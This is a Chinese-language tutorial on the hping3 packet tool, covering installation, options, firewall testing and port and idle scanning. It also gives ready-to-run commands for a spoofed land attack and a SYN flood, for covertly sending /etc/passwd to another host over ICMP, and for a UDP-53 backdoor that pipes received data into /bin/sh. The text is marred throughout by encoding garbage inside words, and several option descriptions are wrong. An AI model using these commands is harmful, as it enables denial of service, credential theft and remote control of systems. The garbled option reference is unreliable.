hping是用于生成和解析TCPIP協(xié)議數(shù)據(jù)包的開源工具。創(chuàng)作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl腳本自動(dòng)化地調(diào)用其API。hping是安全審計(jì)、防火墻測(cè)試等工作的標(biāo)配工具。hping優(yōu)勢(shì)在于能夠定制數(shù)據(jù)包的各個(gè)部分,因此用戶可以靈活對(duì)目標(biāo)機(jī)進(jìn)行細(xì)致地探測(cè)。
yum install libpcap-devel tc-develln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.hwget http://www.hping.org/hping3-20051105.tar.gztar zxvf hping3-20051105.tar.gzcd hping3-20051105./configuremakemake install
-H --help 顯示幫助。-v -VERSION 版本信息。-c --count count 發(fā)送數(shù)據(jù)包的次數(shù) 關(guān)于countreached_timeout 可以在hping2.h里編輯。-i --interval 包發(fā)送間隔時(shí)間(單位是毫秒)缺省時(shí)間是1秒,此功能在增加傳輸率上很重要,在idle/spoofing掃描時(shí)此功能也會(huì)被用到,你可以參考hping-howto獲得更多信息-fast 每秒發(fā)10個(gè)數(shù)據(jù)包。-n -nmeric 數(shù)字輸出,象征性輸出主機(jī)地址。-q -quiet 退出。-I --interface interface name 無(wú)非就是eth0之類的參數(shù)。-v --verbose 顯示很多信息,TCP回應(yīng)一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0-D --debug 進(jìn)入debug模式當(dāng)你遇到麻煩時(shí),比如用HPING遇到一些不合你習(xí)慣的時(shí)候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)-z --bind 快捷鍵的使用。-Z --unbind 消除快捷鍵。-O --rawip RAWIP模式,在此模式下HPING會(huì)發(fā)送帶數(shù)據(jù)的IP頭。-1 --icmp ICMP模式,此模式下HPING會(huì)發(fā)送IGMP應(yīng)答報(bào),你可以用--ICMPTYPE --ICMPCODE選項(xiàng)發(fā)送其他類型/模式的ICMP報(bào)文。-2 --udp UDP 模式,缺省下,HPING會(huì)發(fā)送UDP報(bào)文到主機(jī)的0端口,你可以用--baseport --destport --keep選項(xiàng)指定其模式。-9 --listen signatuer hping的listen模式,用此模式,HPING會(huì)接收指定的數(shù)據(jù)。-a --spoof hostname 偽造IP攻擊,防火墻就不會(huì)記錄你的真實(shí)IP了,當(dāng)然回應(yīng)的包你也接收不到了。-t --ttl time to live 可以指定發(fā)出包的TTL值。-H --ipproto 在RAW IP模式里選擇IP協(xié)議。-w --WINID UNIX ,WINDIWS的id回應(yīng)不同的,這選項(xiàng)可以讓你的ID回應(yīng)和WINDOWS一樣。-r --rel 更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO。-F --FRAG 更改包的FRAG,這可以測(cè)試對(duì)方對(duì)于包碎片的處理能力,缺省的“virtual mtu”是16字節(jié)。-x --morefrag 此功能可以發(fā)送碎片使主機(jī)忙于恢復(fù)碎片而造成主機(jī)的拒絕服務(wù)。-y -dontfrag 發(fā)送不可恢復(fù)的IP碎片,這可以讓你了解更多的MTU PATH DISCOVERY。-G --fragoff fragment offset value set the fragment offset-m --mtu mtu value 用此項(xiàng)后ID數(shù)值變得很大,50000沒指定此項(xiàng)時(shí)3000-20000左右。-G --rroute 記錄路由,可以看到詳悉的數(shù)據(jù)等等,最多可以經(jīng)過(guò)9個(gè)路由,即使主機(jī)屏蔽了ICMP報(bào)文。-C --ICMPTYPE type 指定ICMP類型,缺省是ICMP echo REQUEST。-K --ICMPCODE CODE 指定ICMP代號(hào),缺省0。--icmp-ipver 把IP版本也插入IP頭。--icmp-iphlen 設(shè)置IP頭的長(zhǎng)度,缺省為5(32字節(jié))。--icmp-iplen 設(shè)置IP包長(zhǎng)度。--icmp-ipid 設(shè)置ICMP報(bào)文IP頭的ID,缺省是RANDOM。--icmp-ipproto 設(shè)置協(xié)議的,缺省是TCP。-icmp-cksum 設(shè)置校驗(yàn)和。-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)-s --baseport source port hping 用源端口猜測(cè)回應(yīng)的包,它從一個(gè)基本端口計(jì)數(shù),每收一個(gè)包,端口也加1,這規(guī)則你可以自己定義。-p --deskport [+][+]desk port 設(shè)置目標(biāo)端口,缺省為0,一個(gè)加號(hào)設(shè)置為:每發(fā)送一個(gè)請(qǐng)求包到達(dá)后,端口加1,兩個(gè)加號(hào)為:每發(fā)一個(gè)包,端口數(shù)加1。--keep 上面說(shuō)過(guò)了。-w --win 發(fā)的大小和windows一樣大,64BYTE。-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.-m --tcpseq 設(shè)置TCP序列數(shù)。-l --tcpck 設(shè)置TCP ack。-Q --seqnum 搜集序列號(hào)的,這對(duì)于你分析TCP序列號(hào)有很大作用。
Hping3主要有以下典型功能應(yīng)用:
使用Hping3指定各種數(shù)據(jù)包字段,依次對(duì)防火墻進(jìn)行詳細(xì)測(cè)試。請(qǐng)參考:http://0daysecurity.com/articles/hping3_examples.html
測(cè)試防火墻對(duì)ICMP包的反應(yīng)、是否支持traceroute、是否開放某個(gè)端口、對(duì)防火墻進(jìn)行拒絕服務(wù)攻擊(DoS attack)。例如,以LandAttack方式測(cè)試目標(biāo)防火墻(Land Attack是將發(fā)送源地址設(shè)置為與目標(biāo)地址相同,誘使目標(biāo)機(jī)與自己不停地建立連接)。
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
Hping3也可以對(duì)目標(biāo)端口進(jìn)行掃描。Hping3支持指定TCP各個(gè)標(biāo)志位、長(zhǎng)度等信息。以下示例可用于探測(cè)目標(biāo)機(jī)的80端口是否開放:
hping3 -I eth0 -S 192.168.10.1 -p 80
其中-I eth0
指定使用eth0端口,-S
指定TCP包的標(biāo)志位SYN,-p 80
指定探測(cè)的目的端口。
hping3支持非常豐富的端口探測(cè)方式,nmap擁有的掃描方式hping3幾乎都支持(除開connect方式,因?yàn)镠ping3僅發(fā)送與接收包,不會(huì)維護(hù)連接,所以不支持connect方式探測(cè))。而且Hping3能夠?qū)Πl(fā)送的探測(cè)進(jìn)行更加精細(xì)的控制,方便用戶微調(diào)探測(cè)結(jié)果。當(dāng)然,Hping3的端口掃描性能及綜合處理能力,無(wú)法與Nmap相比。一般使用它僅對(duì)少量主機(jī)的少量端口進(jìn)行掃描。
Idle掃描(Idle Scanning)是一種匿名掃描遠(yuǎn)程主機(jī)的方式,該方式也是有Hping3的作者Salvatore Sanfilippo發(fā)明的,目前Idle掃描在Nmap中也有實(shí)現(xiàn)。
該掃描原理是:尋找一臺(tái)idle主機(jī)(該主機(jī)沒有任何的網(wǎng)絡(luò)流量,并且IPID是逐個(gè)增長(zhǎng)的),攻擊端主機(jī)先向idle主機(jī)發(fā)送探測(cè)包,從回復(fù)包中獲取其IPID。冒充idle主機(jī)的IP地址向遠(yuǎn)程主機(jī)的端口發(fā)送SYN包(此處假設(shè)為SYN包),此時(shí)如果遠(yuǎn)程主機(jī)的目的端口開放,那么會(huì)回復(fù)SYN/ACK,此時(shí)idle主機(jī)收到SYN/ACK后回復(fù)RST包。然后攻擊端主機(jī)再向idle主機(jī)發(fā)送探測(cè)包,獲取其IPID。那么對(duì)比兩次的IPID值,我們就可以判斷遠(yuǎn)程主機(jī)是否回復(fù)了數(shù)據(jù)包,從而間接地推測(cè)其端口狀態(tài)。
使用Hping3可以很方便構(gòu)建拒絕服務(wù)攻擊。比如對(duì)目標(biāo)機(jī)發(fā)起大量SYN連接,偽造源地址為192.168.10.99,并使用1000微秒的間隔發(fā)送各個(gè)SYN包。
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻擊如smurf、teardrop、land attack等也很容易構(gòu)建出來(lái)。
Hping3支持通過(guò)TCP/UDP/ICMP等包來(lái)進(jìn)行文件傳輸。相當(dāng)于借助TCP/UDP/ICMP包建立隱秘隧道通訊。實(shí)現(xiàn)方式是開啟監(jiān)聽端口,對(duì)檢測(cè)到的簽名(簽名為用戶指定的字符串)的內(nèi)容進(jìn)行相應(yīng)的解析。在接收端開啟服務(wù):
hping3 192.168.1.159--listen signature --safe --icmp
監(jiān)聽I(yíng)CMP包中的簽名,根據(jù)簽名解析出文件內(nèi)容。
在發(fā)送端使用簽名打包的ICMP包發(fā)送文件:
hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd
將/etc/passwd
密碼文件通過(guò)ICMP包傳給192.168.10.44主機(jī)。發(fā)送包大小為100字節(jié)(-d 100),發(fā)送簽名為signature(-sign signature)。
如果Hping3能夠在遠(yuǎn)程主機(jī)上啟動(dòng),那么可以作為木馬程序啟動(dòng)監(jiān)聽端口,并在建立連接后打開shell通信。與netcat的后門功能類似。
示例:本地打開53號(hào)UDP端口(DNS解析服務(wù))監(jiān)聽來(lái)自192.168.10.66主機(jī)的包含簽名為signature的數(shù)據(jù)包,并將收到的數(shù)據(jù)調(diào)用/bin/sh執(zhí)行。
在木馬啟動(dòng)端:
hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh
在遠(yuǎn)程控制端:
echo ls >test.cmdhping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
將包含ls命令的文件加上簽名signature發(fā)送到192.168.10.44主機(jī)的53號(hào)UDP端口,包數(shù)據(jù)長(zhǎng)度為100字節(jié)。
當(dāng)然這里只是簡(jiǎn)單的演示程序,真實(shí)的場(chǎng)景,控制端可以利益shell執(zhí)行很多的高級(jí)復(fù)雜的操作。
聯(lián)系客服